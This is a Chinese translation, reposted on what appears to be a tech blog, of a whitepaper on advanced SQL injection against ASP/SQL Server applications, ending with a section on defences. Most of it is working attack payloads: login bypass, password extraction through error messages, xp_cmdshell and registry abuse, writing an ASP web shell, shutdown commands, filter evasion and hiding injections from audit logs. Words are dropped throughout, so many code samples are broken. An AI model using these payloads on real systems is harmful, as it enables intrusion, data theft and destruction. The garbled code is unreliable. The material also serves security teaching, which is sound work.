专注于互联网--专注于架构

最新标签
网站地图
文章索引
Rss订阅

首页 »数据库 » sqlserver高级技术:SQL Server应用程序中的高级SQL注入 »正文

sqlserver高级技术:SQL Server应用程序中的高级SQL注入

来源: 发布时间:星期四, 2009年2月12日 浏览:136次 评论:0


摘要:
这份文档是详细讨论SQL注入技术它适应于比较流行IIS+ASP+SQLSERVER平台它讨论了哪些SQL语句能通过各种各样思路方法注入到应用并且记录和攻击相关数据确认和数据库锁定

这份文档预期读者为和数据库通信WEB开发者和那些扮演审核WEB应用安全专家

介绍:
SQL是种用于关系数据库结构化查询语言它分为许多种但大多数都松散地基于美国国家标准化组织最新标准SQL-92典型执行语句是query它能够收集比较有达标性记录并返回个单结果集SQL语言可以修改数据库结构(数据定义语言)和操作数据库内容(数据操作语言)在这份文档中我们将特别讨论SQLSERVER所使用Transact-SQL语言
个攻击者能够通过往query中插入系列sql语句来操作数据写入到应用中去我们管这种思路方法定义成SQL注入

个典型SQL语句如下:
Select id,forename,surname from authors
这条语句将返回authors表中所有行idforename和surname列这个结果可以被限制例如:
Select id,forename,surname from authors where forename\'john\' and surname=\'smith\'
需要着重指明串\'john\'和\'smith\'被单引号限制明确forename和surname字段是被用户提供输入限制攻击者可以通过输入值来往这个查询中注入些SQL语句
如下:
Forename:jo\'hn
Surname:smith
查询语句变为:
Select id,forename,surname from authors where forename=\'jo\'hn\' and surname=\'smith\'
当数据库试图去执行这个查询时它将返回如下:
Server:Msg 170, Level 15, State 1, Line 1
Line 1:Incorrect syntax near \'hn\'
造成这种结果原因是插入了.作为定界符单引号数据库尝试去执行\'hn\'但是失败如果攻击者提供特别输入如:
Forename:jo\';drop table authors—
Surname:
结果是authors表被删除造成这种结果原因我们稍后再讲

看上去好象通过从输入中去掉单引号或者通过某些思路方法避免它们都可以解决这个问题这是可行但是用这种思路方法做解决思路方法会存在几个困难并不是所有用户提供数据都是如果用户输入是通过用户id来查询author那我们查询应该像这样:
Select id,forename,surname from authors where id=1234
在这种情况下个攻击者可以非常简单地在数字结尾添加SQL语句在其他版本SQL语言中使用各种各样限定符号;在数据库管理系统JET引擎中数据可以被使用\'#\'限定第 2避免单引号尽管看上去可以但是是没必要原因我们稍后再讲

我们更进步地使用个简单ASP登陆页面来指出哪些能进入SQLSERVER数据库并且尝试鉴别进入些虚构应用权限
这是个提交表单页代码让用户输入用户名和密码:
<HTML>
<HEAD>
<TITLE>Login Page</TITLE>
</HEAD>

<BODY bgcolor=\'000000\' text=\'cccccc\'>
<FONT Face=\'tahoma\' color=\'cccccc\'>
<CENTER><H1>Login</H1>
<FORM action=\'process_loginasp\' method=post>
<TABLE>
<TR><TD>Username:</TD><TD><INPUT type=text name=username size=100 width=100></TD></TR>
<TR><TD>Password:</TD><TD><INPUT type=password name=password size=100 withd=100></TD></TR>
</TABLE>
<INPUT type=submit value=\'Submit\'><INPUT type=re value=\'Re\'>
</FORM>
</Font>
</BODY>
</HTML>
下面是process_login.asp代码它是用来控制登陆:
<HTML>
<BODY bgcolor=\'000000\' text=\'ffffff\'>
<FONT Face=\'tahoma\' color=\'ffffff\'>
<STYLE>
p { font-size=20pt ! important}
font { font-size=20pt ! important}
h1 { font-size=64pt ! important}
</STYLE>
<%@LANGUAGE = JScript %>
<%
function trace( str ) {
( Request.form("debug") "true" )
Response.write( str );
}
function Login( cn ) {
var username;
var password;
username = Request.form("username");
password = Request.form("password");
var rso = Server.CreateObject("ADODB.Record");
var sql = "select * from users where username = \'" + username + "\' and password = \'" + password + "\'"; trace( "query: " + sql );
rso.open( sql, cn );
(rso.EOF) {
rso.close;
%>
<FONT Face=\'tahoma\' color=\'cc0000\'>
<H1> <BR><BR>
<CENTER>ACCESS DENIED</CENTER>
</H1>
</BODY>
</HTML>
<% Response.end ; }
{
Session("username") = "" + rso("username");
%>
<FONT Face=\'tahoma\' color=\'00cc00\'>
<H1> <CENTER>ACCESS GRANTED<BR> <BR>
Welcome, <% Response.write(rso("Username")); Response.write( "</BODY></HTML>" ); Response.end }
}
function Main { //Set up connection
var username
var cn = Server.createobject( "ADODB.Connection" );
cn.connectiontimeout = 20;
cn.open( "localserver", "sa", "password" );
username = String( Request.form("username") );
( username.length > 0) {
Login( cn );
}
cn.close;


}
Main;
%>
出现问题地方是process_lgin.asp中产生查询语句部分:
Var sql="select * from users where username=\'"+username+"\' and password=\'"+password+"\'";
如果用户输入信息如下:
Username:\';drop table users—
Password:
数据库中表users将被删除拒绝任何用户进入应用\'—\'符号在Transact-SQL中表示忽略\'—\'以后语句\';\'符号表示个查询结束和另个查询开始\'—\'位于username字段中是必须它为了使这个特殊查询终止并且不返回

攻击者可以只需提供他们知道用户名就可以以任何用户登陆使用如下输入:
Username:admin\'—
攻击者可以使用users表中第个用户输入如下:
Username:\' or 1=1—
更特别地攻击者可以使用完全虚构用户登陆输入如下:
Username:\' union select 1,\'fictional_user\',\'some_password\',1—
这种结果原因是应用相信攻击者指定是从数据库中返回结果部分

通过消息获得信息
这个几乎是David Litchfield首先发现并且通过作者渗透测试;后来David写了份文档后来作者参考了这份文档这些解释讨论了‘消息‘潜在机制使读者能够完全地了解它潜在地引发他们能力

为了操作数据库中数据攻击者必须确定某些数据库和某些表结构例如我们可以使用如下语句创建user表:
Create talbe users(
Id ,
Username varchar(255),
Password varchar(255),
Privs
)
然后将下面用户插入到users表中:
Insert o users values(0,\'admin\',\'r00tr0x!\',0xffff)
Insert o users values(0,\'guest\',\'guest\',0x0000)
Insert o users values(0,\'chris\',\'password\',0x00ff)
Insert o users values(0,\'fred\',\'sesame\',0x00ff)
如果我们攻击者想插入个自己用户在不知道users表结构情况下他不可能成功即使他比较幸运至于privs字段不清楚攻击者可能插入个\'1\'这样只给他自己个低权限用户
幸运地如果从应用(默认为ASP行为)返回消息那么攻击者可以确定整个数据库结构并且可以以中连接SQLSERVER权限度曲任何值
(下面以个简单数据库和asp脚本来举例介绍说明他们是如何工作)
首先攻击者想获得建立用户名字和字段名字要做这些攻击者需要使用select语法having子句:
Username:\' having 1=1—
这样将会出现如下:
Microsoft OLE DB Provider for ODBC Drivers error \'80040e14\'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column \'users.id\' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.
/process_login.asp, line 35
因此现在攻击者知道了表名字和第个地段名字他们仍然可以通过把字段放到group by子句只能感去找到个字段名如下:
Username:\' group by users.id having 1=1—
出现如下:
Microsoft OLE DB Provider for ODBC Drivers error \'80040e14\'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column \'users.username\' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
/process_login.asp, line 35
最终攻击者得到了username字段后:
‘ group by users.id,users.username,users.password,users.privs having 1=1—
这句话并不产生相当于:
select * from users where username=\'\'
因此攻击者现在知道查询涉及users表按顺序使用列\'id,username,password,privs\'
能够确定每个列类型是非常有用这可以通过使用类型转化来实现例如:
Username:\' union select sum(username) from users—
这利用了SQLSERVER在确定两个结果集字段是否相等前应用sum子句尝试去计算sum会得到以下消息:
Microsoft OLE DB Provider for ODBC Drivers error \'80040e07\'

[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.
/process_login.asp, line 35
这告诉了我们\'username\'字段类型是varchar如果是另种情况我们尝试去计算sum是数字类型我们得到消息告诉我们两个集合字段数量不相等
Username:\' union select sum(id) from users—
Microsoft OLE DB Provider for ODBC Drivers error \'80040e14\'

[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists.
/process_login.asp, line 35
我们可以用这种技术近似地确定数据库中任何表中任何字段类型
这样攻击者就可以写个好insert查询例如:
Username:\';insert o users values(666,\'attacker\',\'foobar\',\'0xffff)—
这种技术潜在影响不仅仅是这些攻击者可以利用这些消息显示环境信息或数据库通过运行定格式串可以获得标准消息:
select * from master ..sysmessages
解释这些将实现有趣消息

个特别有用消息关系到类型转化如果你尝试将串转化成个整型数字那么所有内容会返回到消息中例如在我们简单登陆页面中在username后面会显示出SQLSERVER版本和所运行操作系统信息:
Username:\' union select @@version,1,1,1—
Microsoft OLE DB Provider for ODBC Drivers error \'80040e07\'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value \'Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Enterprise Edition _disibledevent=>


/process_login.asp, line 35
这句尝试去将内置\'@@version\'常量转化成个整型数字users表中列是整型数字

这种技术可以用来读取数据库中任何表任何值自从攻击者对用户名和用户密码比较感兴趣后他们比较喜欢去从users表中读取用户名例如:
Username:\' union select min(username),1,1,1 from users where username>\'a\'—
这句选择users表中username大于\'a\'中最小值并试图把它转化成个整型数字:
Microsoft OLE DB Provider for ODBC Drivers error \'80040e07\'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value \'admin\' to a column of data type .
/process_login.asp, line 35
因此攻击者已经知道用户admin是存在这样他就可以重复通过使用where子句和查询到用户名去寻找下个用户
Username:\' union select min(username),1,1,1 from users where username>\'admin\'—
Microsoft OLE DB Provider for ODBC Drivers error \'80040e07\'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value \'chris\' to a column of data type .
/process_login.asp, line 35
旦攻击者确定了用户名他就可以开始收集密码:
Username:\' union select password,1,1,1 from users where username=\'admin\'—
Microsoft OLE DB Provider for ODBC Drivers error \'80040e07\'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value \'r00tr0x!\' to a column of data type .
/process_login.asp, line 35

个更高级技术是将所有用户名和密码连接长个单独然后尝试把它转化成整型数字这个例子指出:Transavt-SQL语法能够在不改变相同意思情况下把它们连接起来下面脚本将把值连接起来:
begin declare @ret varchar(8000)
@ret=\':\'
select @ret=@ret+\' \'+username+\'/\'+password from users where
username>@ret
select @ret as ret o foo
end
攻击者使用这个当作用户名登陆(都在行)
Username: \'; begin declare @ret varchar(8000) @ret=\':\' select @ret=@ret+\' \'+username+\'/\'+password from users where username>@ret select @ret as ret o foo end—
这就创建了个foo表里面只有个单独列\'ret\'里面存放着我们得到用户名和密码正常情况下个低权限用户能够在同个数据库中创建表或者创建临时数据库
然后攻击者就可以取得我们要得到串:
Username:\' union select ret,1,1,1 from foo—
Microsoft OLE DB Provider for ODBC Drivers error \'80040e07\'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value \': admin/r00tr0x! guest/guest chris/password fred/sesame\' to a column of data type .
/process_login.asp, line 35
然后丢弃(删除)表来清楚脚印:
Username:\'; drop table foo—
这个例子仅仅是这种技术个表面作用没必要说如果攻击者能够从数据库中获得足够西他们工作就变无限简单

获得更高权限
旦攻击者控制了数据库他们就想利用那个权限去获得网络上更高控制权这可以通过许多途径来达到:
1. 在数据库服务器上以SQLSERVER权限利用xp_cmdshell扩展存储过程执行命令
2. 利用xp_regread扩展存储过程去读注册表键值当然包括SAM键(前提是SQLSERVER是以系统权限运行)
3. 利用其他存储过程去改变服务器
4. 在连接服务器上执行查询
5. 创建客户扩展存储过程去在SQLSERVER进程中执行溢出代码
6. 使用\'bulk insert\'语法去读服务器上任意文件
7. 使用bcp在服务器上建立任意文本格式文件
8. 使用sp_OACreate,sp_OAMethod和sp_OAGetProperty系统存储过程去创建ActiveX应用使它能做任何ASP脚本可以做事情

这些只列举了非常普通可能攻击思路方法少量攻击者很可能使用其它思路方法我们介绍收集到攻击有关SQL服务器明显攻击思路方法为了介绍说明哪方面可能并被授予权限去注入SQL.我们将依次处理以上提到各种思路方法:

[xp_cmdshell]
许多存储过程被创建在SQLSERVER中执行各种各样功能例如发送电子邮件和和注册表交互
Xp_cmdshell是个允许执行任意命令行命令内置存储过程例如:
Exec master..xp_cmdshell \'dir\'
将获得SQLSERVER进程当前工作目录中目录列表
Exec master..xp_cmdshell \'net user\'
将提供服务器上所有用户列表当SQLSERVER正常以系统帐户或域帐户运行时攻击者可以做出更严重危害

[xp_regread]
个有用内置存储过程是xp_regXXXX类集合
Xp_regaddmulti
Xp_regdeletekey
Xp_regdeletevalue
Xp_regenumkeys
Xp_regenumvalues
Xp_regread
Xp_regremovemulti
Xp_regwrite

这些使用思路方法举例如下:
exec xp_regread HKEY_LOCAL_MACHINE,\'SYSTEM\\CurrentControlSet\\Services\\lanmanserver\\parameters\', \'nullsessionshares\'
这将确定什么样会话连接在服务器上是可以使用

exec xp_regenumvalues HKEY_LOCAL_MACHINE,\'SYSTEM\\CurrentControlSet\\Services\\snmp\\parameters\\validcommunities\'
这将显示服务器上所有SNMP团体配置在SNMP团体很少被更改和在许多主机间共享情况下有了这些信息攻击者或许会重新配置同网络中网络设备

这很容易想象到个攻击者可以利用这些读取SAM修改系统服务配置使它下次机器重启时启动或在下次任何用户登陆时执行条任意命令

[其他存储过程]
xp_servicecontrol过程允许用户启动停止暂停和继续服务:
exec master..xp_servicecontrol \'start\',\'schedule\'


exec master..xp_servicecontrol \'start\',\'server\'
下表中列出了少量其他有用存储过程:
Xp_availablemedia 显示机器上有用驱动器
Xp_dirtree 允许获得个目录树
Xp_enumdsn 列举服务器上ODBC数据源
Xp_loginconfig Reveals information about the security mode of the server
Xp_makecab 允许用户在服务器上创建个压缩文件
Xp_ntsec_enumdos 列举服务器可以进入
Xp_terminate_process 提供进程进程ID终止此进程

[Linked Servers]
SQL SERVER提供了种允许服务器连接机制也就是说允许台数据库服务器上查询能够操作另台服务器上数据这个链接存放在master.sysservers表中如果个连接服务器已经被设置成使用\'sp_addlinkedsrvlogin\'过程当前可信连接不用登陆就可以访问到服务器\'openquery\'允许查询脱离服务器也可以执行

[Custom extended stored procedures]
扩展存储过程应用接口是相当简单创建个携带恶意代码扩展存储过程动态连接库是个相当简单任务使用命令行有几个思路方法可以上传动态连接库到SQL服务器上还有其它包括了多种自动通讯通讯机制比如HTTP下载和FTP脚本
旦动态连接库文件在机器上运行即SQL服务器能够被访问——这不需要它自己是SQL服务器——攻击者就能够使用下面命令添加扩展存储过程(这种情况下我们恶意存储过程就是个能输出服务器系统文件木马):

Sp_addextendedproc \'xp_webserver\',\'c:\\temp\\xp_foo.dll\'
在正常方式下这个扩展存储过程可以被运行:
exec xp_webserver
旦这个被运行可以使用下面思路方法将它除去:
xp_dropextendedproc \'xp_webserver\'

[将文本文件导入表]
使用\'bulk insert\'语法可以将个文本文件插入到个临时表中简单地创建这个表:
create table foo( line varchar(8000) )
然后执行bulk insert操作把文件中数据插入到表中如:
bulk insert foo from \'c:\\inetpub\\wwwroot\\process_login.asp\'

可以使用上述消息技术或者使用\'union\'选择使文本文件中数据和应用正常返回数据结合将数据取回这个用来获取存放在数据库服务器上脚本源代码或者ASP脚本代码是非常有用

[使用bcp建立文本文件]
使用\'bulk insert\'相对技术可以很容易建立任意文本文件不幸是这需要命令行工具\'bcp\',即\'bulk copy program\'
既然 bcp可以从SQL服务进程外访问数据库它需要登陆这代表获得权限不是很困难既然攻击者能建立或者利用整体安全机制(如果服务器配置成可以使用它)

命令行格式如下:
bcp "select * from text..foo" queryout c:\\inetpub\\wwwroot\\runcommand.asp –c -Slocalhost –Usa –Pfoobar
\'S\'参数为执行查询服务器\'U\'参数为用户名\'P\'参数为密码这里为\'foobar\'

[ActiveX automation scripts in SQL SERVER]
SQL SERVER中提供了几个内置允许创建ActiveX自动执行脚本存储过程这些脚本和运行在windows脚本解释器下脚本或者ASP脚本样——他们使用VBScript或JavaScript书写他们创建自动执行对象并和它们交互个自动执行脚本使用这种思路方法书写可以在Transact-SQL中做任何在ASP脚本中或者WSH脚本中可以做任何事情为了阐明这鞋这里提供了几个例子:

(1)这个例子使用\'wscript.shell\'对象建立了个记事本例子:
wscript.shell example
declare @o
exec sp_oacreate \'wscript.shell\',@o out
exec sp_oamethod @o,\'run\',NULL,\'notepad.exe\'
我们可以通过指定在用户名后面来执行它:
Username:\'; declare @o exec sp_oacreate \'wscript.shell\',@o out exec sp_oamethod @o,\'run\',NULL,\'notepad.exe\'—

(2)这个例子使用\'scripting.filesystemobject\'对象读个已知文本文件:
--scripting.filesystemobject example – read a known file
declare @o , @f , @t , @ret
declare @line varchar(8000)
exec sp_oacreate \'scripting.filesystemobject\', @o out
exec sp_oamethod @o, \'opentextfile\', @f out, \'c:\\boot.ini\', 1
exec @ret=sp_oamethod @f,\'readline\',@line out
while(@ret=0)
begin
pr @line
exec @ret=sp_oamethod @f,\'readline\',@line out
end

(3)这个例子创建了个能执行通过提交到任何命令:
-- scripting.filesystemobject example – create a \'run this\'.asp file
declare @o ,@f ,@t ,@ret
exec sp_oacreate \'scripting.filesystemobject\',@o out
exec sp_oamethod @o,\'createtextfile\',@f out,\'c:\\inetpub\\wwwroot\\foo.asp\',1
exec @ret=sp_oamethod @f,\'writeline\',NULL,\'<% o=server.createobject("wscript.shell"):o.run(request.query("cmd")) %>\'
需要指出是如果运行环境是WIN NT4+IIS4平台上那么通过这个运行命令是以系统权限运行在IIS5中它以个比较低权限IWAM_XXXaccount运行

(4)这些例子阐述了这个技术适用性;它可以使用\'speech.voicetext\'对象引起SQL SERVER发声:
declare @o ,@ret
exec sp_oacreate \'speech.voicetext\',@o out
exec sp_oamethod @o,\'register\',NULL,\'foo\',\'bar\'
exec sp_oaproperty @o,\'speed\',150
exec sp_oamethod @o,\'speak\',NULL,\'all your sequel servers are belong to,us\',528
waitfor delay \'00:00:05\'
我们可以在我们假定例子中通过指定在用户名后面来执行它(注意这个例子不仅仅是注入个脚本同时以admin权限登陆到应用):
Username:admin\';declare @o ,@ret exec sp_oacreate \'speech.voicetext\',@o out exec sp_oamethod @o,\'register\',NULL,\'foo\',\'bar\' exec sp_oaproperty @o,\'speed\',150 exec sp_oamethod @o,\'speak\',NULL,\'all your sequel servers are belong to us\',528 waitfor delay \'00:00:05\'--



[存储过程]
传说如果个ASP应用在数据库中使用了存储过程那么SQL注入是不可能这句话只对了这要看ASP脚本中这个存储过程方式
本质上如果个有参数查询被执行 并且用户提供参数通过安全检查才放入到查询中那么SQL注入明显是不可能发生但是如果攻击者努力影响所执行查询语句非数据部分这样他们就可能能够控制数据库
比较好常规标准是:
?如果个ASP脚本能够产生个被提交SQL查询即使它使用了存储过程也是能够引起SQL注入弱点
?如果个ASP脚本使用个过程对象限制参数往存储过程中分配(例如ADO用于参数收集command对象)那么通过这个对象执行般是安全
明显地既然新攻击技术始终地被发现惯例仍然是验证用户所有输入

为了阐明存储过程查询注入执行以下语句:
sp_who \'1\' select * from sysobjects
or
sp_who \'1\';select * from sysobjects
任何种思路方法在存储过程后追加查询依然会执行

[高级SQL注入]
通常情况下个web应用将会过滤单引号(或其他符号)或者限定用户提交数据长度
在这部分我们讨论些能帮助攻击者饶过那些明显防范SQL注入躲避被记录技术

[没有单引号串]
有时候开发人员会通过过滤所有单引号来保护应用他们可能使用VBScript中replace或类似:
function escape(input)
input=replace(input,"\'","\'\'")
escape=input
end function
无可否认地这防止了我们所有例子攻击再除去\';\'符号也可以帮很多忙但是在个大型应用好象个别值期望用户输入是数字这些值没有被限定因此为攻击者提供了个SQL注入弱点
如果攻击者想不使用单引号产生串值他可以使用char例如:
insert o users values(666,
char(0x63)+char(0x68)+char(0x72)+char90x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char90x69)+char(0x73),
0xffff)
这就是个能够往表中插入不包含单引号查询
淡然如果攻击者不介意使用个数字用户名和密码下面语句也同样会起作用:
insert o users values(667,
123,
123,
oxffff)
SQL SERVER自动地将整型转化为varchar型

[Second-Order SQL Injection]
即使应用总是过滤单引号攻击者依然能够注入SQL同样通过应用使数据库中数据重复使用
例如攻击者可能利用下面信息在应用中注册:
Username:admin\'—
Password:password
应用正确过滤了单引号返回了个类似这样insert语句:
insert o users values(123,\'admin\'\'—\',\'password\',0xffff)
我们假设应用允许用户修改自己密码这个ASP脚本首先保证用户设置新密码前拥有正确旧密码代码如下:
username = escape( Request.form("username") );
oldpassword = escape( Request.form("oldpassword") );
password = escape( Request.form("password") );
var rso = Server.CreateObject("ADODB.Record");
var sql = "select * from users where username = \'" + username + "\' and password = \'" + oldpassword + "\'";
rso.open( sql, cn );
(rso.EOF)
{

设置新密码代码如下:
sql = "update users password = \'" + password + "\' where username = \'" + rso("username") + "\'"
rso("username")为登陆查询中返回用户名
当username为admin\'—时查询语句为:
update users password = \'password\' where username=\'admin\'—\'
这样攻击者可以通过注册个admin\'—用户来根据自己想法来设置admin密码
这是个非常严重问题目前在大型应用中试图去过滤数据最好解决思路方法是拒绝非法输入这胜于简单地努力去修改它这有时会导致个问题非法在那里是必要例如在用户名中包含\'符号例如
O\'Brien
个安全观点来看最好解答是但引号不允许存在是个简单事实如果这是无法接受他们仍然要被过滤;在这种情况下保证所有进入SQL查询数据都是正确是最好思路方法
如果攻击者不使用任何应用莫名其妙地往系统中插入数据这种方式攻击也是可能应用可能有email接口或者可能在数据库中可以存储日志这样攻击者可以努力控制它验证所有数据包括数据库中已经存在数据始终是个好思路方法确认将被简单地例如:
(not isValid("email",request.query("email"))) then
response.end
或者类似思路方法

[长度限制]
为了给攻击者更多困难有时输入数据长度是被限制当这个阻碍了攻击时个小SQL可以造成很严重危害例如:
Username:\';shutdown—
这样只用12个输入就将停止SQL SERVER例子个例子是:
drop table <tablename>
如果限定长度是在过滤串后应用将会引发另个问题假设用户名被限定16个密码也被限定16个那么下面用户名和密码结合将会执行上面提到shutdown命令:
Username:aaaaaaaaaaaaaaa\'
Password:\'; shutdown—
原因是应用尝试去过滤用户名最后单引号但是串被切断成16个删除了过滤后个单引号这样结果就是如果密码字段以单引号开始它可以包含些SQL语句既然这样查询看上去是:
select * from users where username=\'aaaaaaaaaaaaaaa\'\' and password=\'\'\';shutdown—
实际上查询中用户名已经变为:
aaaaaaaaaaaaaaa\' and password=\'
因此最后SQL语句会被执行

[审计]
SQL SERVER包含了丰富允许记录数据库中各种事件审计接口它包含在sp_traceXXX类特别有意思是能够记录所有SQL语句然后在服务器上执行T-SQL事件如果这种审计是被激活我们讨论所有注入SQL查询都将被记录在数据库中个熟练数据库管理员将能够知道发生了什么事不幸地如果攻击者追加以下串:


Sp_password
个Transact-SQL语句中这个审计机制记录日志如下:
--\'sp_password\' was found in the text of this event.
-- The text has been replaced with this comment for security reasons.
这种行为发生在所有T-SQL日记记录中即使\'sp_password\'发生在个注释中这个过程打算通过sp_password隐藏用户密码但这对于个攻击者来说是非常有用思路方法
因此为了隐藏所有注入攻击者需要简单地在\'—\'注释后追加sp_password例如:
Username:admin\'—sp_password
事实上些被执行SQL将被记录但是查询本身将顺利地从日志中消失

[防范]
这部分讨论针对记述攻击些防范我们将讨论输入确认和提供些简单代码然后我们将从事SQL SERVER锁定

[输入验证]
输入验证是个复杂题目比较有代表性自从过于严密地确认倾向于引起部分应用暂停输入确认问题很难被解决在项目开发中投入很少注意力在输入确认上输入确认不是倾向于将它加入到应用功能当中因此它般会被忽视
下面是个含有简单代码讨论输入确认大纲这个简单代码不能直接用于应用但是它十分清晰地阐明了区别策略
区别数据确认思路方法可以按以下分类:
1) 努力修改数据使它成为正确
2) 拒绝被认为是输入
3) 只接收被认为是正确输入
种情况有些概念上问题;首先开发人员没必要知道那些是数据数据形式始终被发现其次修改数据会引起上面描述过数据长度问题最后 2次使用问题包括系统中已经存在数据重新使用
第 2种情况也存在第种情况中问题;已知输入随着攻击技术发展变化
第 3种情况可能是 3种中最好但是很难实现
从安全角度看合并第 2种思路方法和第 3种思路方法可能是最好思路方法——只允许正确输入然后搜索输入中已知数据
带有连接符号姓名问题对于体现合并两种思路方法必要性是个好例子:
Quentin Bassington-Bassington
我们必须在正确输入中允许连接符号但是我们也意识到序列\'—\'对SQL SERVER很重要
当合并修改数据和序列确认时会出现另个问题例如如果我们应用过滤在除去单引号的后去探测\'—\'\'select\'和\'union\'攻击者可以输入:
uni\'on sel\'ect @@version-\'-
既然单引号被除去攻击者可以简单地散布单引号在自己串中躲避被发现
这有些确认代码例子:
思路方法——过滤单引号
function escape(input)
input=replace(input,"\'","\'\'")
escape=input
end function

思路方法 2——拒绝已知输入
function validate_(input)
known_bad=.gif' />("select","insert","update","delete","drop","—","\'")
validate_=true
for i=lbound(known_bad) to ubound(known_bad)
(instr(1,input,known_bad(i),vbtextcompare)<>0) then
validate_=false
exit function
end
next
end function

思路方法 3——只允许正确输入
function validatepassword(input)
good_password_chars=” abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789”
validatepassword=true
for i=1 to len(input)
c=mid(input,I,1)
(InStr(good_password_chars,c)=0) then
validatepassword=false
exit function
end
next
end function

[SQL SERVER锁定]
在这指出重要点是锁定SQL SERVER是必要;外面是不安全这是个但创建SQL SERVER时需要做事情简短列表:
1.确定连接服务器思路方法
a.确定你所使用网络库是可用那么使用"Network Utility"
2.确定哪些帐户是存在
a.为应用使用创建个低权限帐户
b.删除不必要帐户
c.确定所有帐户有强壮密码;执行密码审计
3.确定哪些对象存在
a.许多扩展存储过程能被安全地移除如果这样做了应该移除包含在扩展存储过程代码中\'.dll\'文件
b.移除所有举例数据库——例如\'northwind\'和\'pubs\'数据库
4.确定哪写帐户能过使用哪些对象
a.应用进入数据库所使用帐户应该有保证能够使用它需要对象最小权限
5.确定服务器补丁
a.针对SQL SERVER有些缓冲区溢出和格式化串攻击也有些其他安全补丁发布应该存在很多
6.确定什么应该被日志记录什么应该在日志中结束

[参考文献]
[1] Web Application Disassembly with ODBC Error Messages, David Litchfield
http://www.nextgenss.com/papers/webappdis.doc
[2] SQL Server Security Checklist
http://www.sqlsecurity.com/checklist.asp
[3] SQL Server 2000 Extended Stored Procedure Vulnerability
http://www.atstake.com/research/advisories/2000/a120100-2.txt
[4] Microsoft SQL Server Extended Stored Procedure Vulnerability
http://www.atstake.com/research/advisories/2000/a120100-1.txt
[5] Multiple Buffer Format String Vulnerabilities In SQL Server
http://www.microsoft.com/technet/security/bulletin/MS01-060.asp http://www.atstake.com/research/advisories/2001/a122001-1.txt
0

相关文章

读者评论

发表评论

  • 昵称:
  • 内容: